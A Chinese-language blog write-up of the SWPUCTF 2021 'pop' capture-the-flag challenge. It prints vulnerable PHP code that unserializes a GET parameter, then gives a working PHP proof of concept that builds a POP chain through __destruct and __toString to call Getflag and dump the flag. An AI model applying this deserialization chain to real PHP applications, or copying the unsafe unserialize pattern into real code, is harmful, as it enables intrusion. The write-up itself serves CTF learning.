首页 > 其他分享 >[SWPUCTF 2021 新生赛]pop

[SWPUCTF 2021 新生赛]pop

时间:2024-10-17 15:49:05浏览次数:3  
标签:w00m SWPUCTF passwd w22m pop echo admin 2021 public

打开靶机

进入到里面之后看到几行代码。知道是关于反序列化的和pop链的构造,pop链就是利用魔法方法在里面进行多次跳转然后获取敏感数据。

 

这里我简单分析一下代码。

 <?php

error_reporting(0);
show_source("index.php");        //显示index.php页源代码。和关闭错误信息
                            
class w44m{

    private $admin = 'aaa';            
    protected $passwd = '123456';    //定义admin和passwd初始值

    public function Getflag(){
        if($this->admin === 'w44m' && $this->passwd ==='08067'){
            include('flag.php');                       //构建getflag方法
            echo $flag;            //当admin和passwd值为w44m和08067时输出flag.php
        }else{                     //目标  
            echo $this->admin;    
            echo $this->passwd;
            echo 'nono';            
        }
    }
}

class w22m{
    public $w00m;
    public function __destruct(){        //当对象被销毁时调用_destruct函数。输出woom属性的值
        echo $this->w00m;                //注入点
    }
}

class w33m{
    public $w00m;
    public $w22m;                    
    public function __toString(){       //当类被当成字符串时触发,这是一个动态的调用方法。
        $this->w00m->{$this->w22m}();
        return 0;
    }
}

$w00m = $_GET['w00m'];
unserialize($w00m);

?> 

 我们可以这么构造poc链。

<?php

class w44m{

    private $admin = 'w44m';
    protected $passwd = '08067';

}

class w22m{
    public $w00m;
}

class w33m{
    public $w00m;
    public $w22m;

}
$a = new w22m();
$b = new w33m();
$c = new w44m();
# 入口
$a->w00m=$b;
$b->w00m=$c;
$b->w22m='Getflag';
echo urlencode(serialize($a));
?>

因为两个值是私有和保护属性,在反序列化是会用不可见字符进行特殊标记,用url编码可以直接显示出来。

标签:w00m,SWPUCTF,passwd,w22m,pop,echo,admin,2021,public
From: https://blog.csdn.net/2301_79210256/article/details/143006544

相关文章

  • TowardsDataScience-博客中文翻译-2021-十七-
    TowardsDataScience博客中文翻译2021(十七)原文:TowardsDataScienceBlog协议:CCBY-NC-SA4.0Azure数据工厂管道的自动化测试原文:https://towardsdatascience.com/automated-testing-of-azure-data-factory-pipelines-23f60d33ba5e?source=collection_archive---------14--......
  • TowardsDataScience-博客中文翻译-2021-四十三-
    TowardsDataScience博客中文翻译2021(四十三)原文:TowardsDataScienceBlog协议:CCBY-NC-SA4.0从埃隆·马斯克的推特图中我们能学到什么?原文:https://towardsdatascience.com/graph-mining-2dd6c4c1f1b1?source=collection_archive---------20-----------------------只有......
  • TowardsDataScience-博客中文翻译-2021-四十-
    TowardsDataScience博客中文翻译2021(四十)原文:TowardsDataScienceBlog协议:CCBY-NC-SA4.0从数据科学访谈到开源GitHub项目原文:https://towardsdatascience.com/from-a-data-science-interview-to-an-open-source-github-project-87c228902968?source=collection_archi......
  • Office 2021 for mac 安装、激活教程
    安装要求OSX10.12或更高版本,64位处理器安装步骤1、安装Office2021formac安装包;2、安装Office2021formac激活软件包;安装Office2021formac①下载Office2021formac,下载地址-点击下载②安装下载好的Office2021formac激活Office202......
  • 优化el-popover在列表等地方使用时,会大量渲染,造成页面首次加载卡顿、加载时间长的问题
    vue2项目中,在列表等需要循环渲染的地方,使用el-popover时,数据量大了以后,会造成页面卡顿。解决方案:基于el-popver二次封装 <template><divclass="my-popover-container"><spanref="referenceRef"class="comp-reference"@click="triggerPop"......
  • TowardsDataScience-博客中文翻译-2021-二十四-
    TowardsDataScience博客中文翻译2021(二十四)原文:TowardsDataScienceBlog协议:CCBY-NC-SA4.0从头开始编码线性回归原文:https://towardsdatascience.com/coding-linear-regression-from-scratch-c42ec079902?source=collection_archive---------0-----------------------......
  • TowardsDataScience-博客中文翻译-2021-二十六-
    TowardsDataScience博客中文翻译2021(二十六)原文:TowardsDataScienceBlog协议:CCBY-NC-SA4.0意甲(足球)——带有Plotly和Dash的简单仪表盘原文:https://towardsdatascience.com/create-a-simple-dashboard-with-plotly-dash-8f385ba1dd6d?source=collection_archive--......
  • 【ICPC】The 2021 ICPC Asia Shanghai Regional Programming Contest I
    SteadilyGrowingSteam#动态规划#背包#枚举题目描述AliceenjoysplayingacardgamecalledSteadilyGrowingSteam(asknownasSGS).Inthisgame,eachplayerwillplaydifferentrolesandhavedifferentskills.Playersgetcardsfromthedeckandu......
  • 【ICPC】The 2021 ICPC Asia Shenyang Regional Contest J
    LuggageLock#搜索#枚举题目描述EileenhasabigluggageandshewouldpickalotofthingsintheluggageeverytimewhenA-SOULgoesoutforashow.However,iftherearetoomanythingsintheluggage,the4-digitpasswordlockontheluggagewill......
  • 【ICPC】The 2021 ICPC Asia Shanghai Regional Programming Contest G
    EdgeGroups#树形结构#组合数学#树形dp题目描述Givenanundirectedconnectedgraphofnnnverticesandn......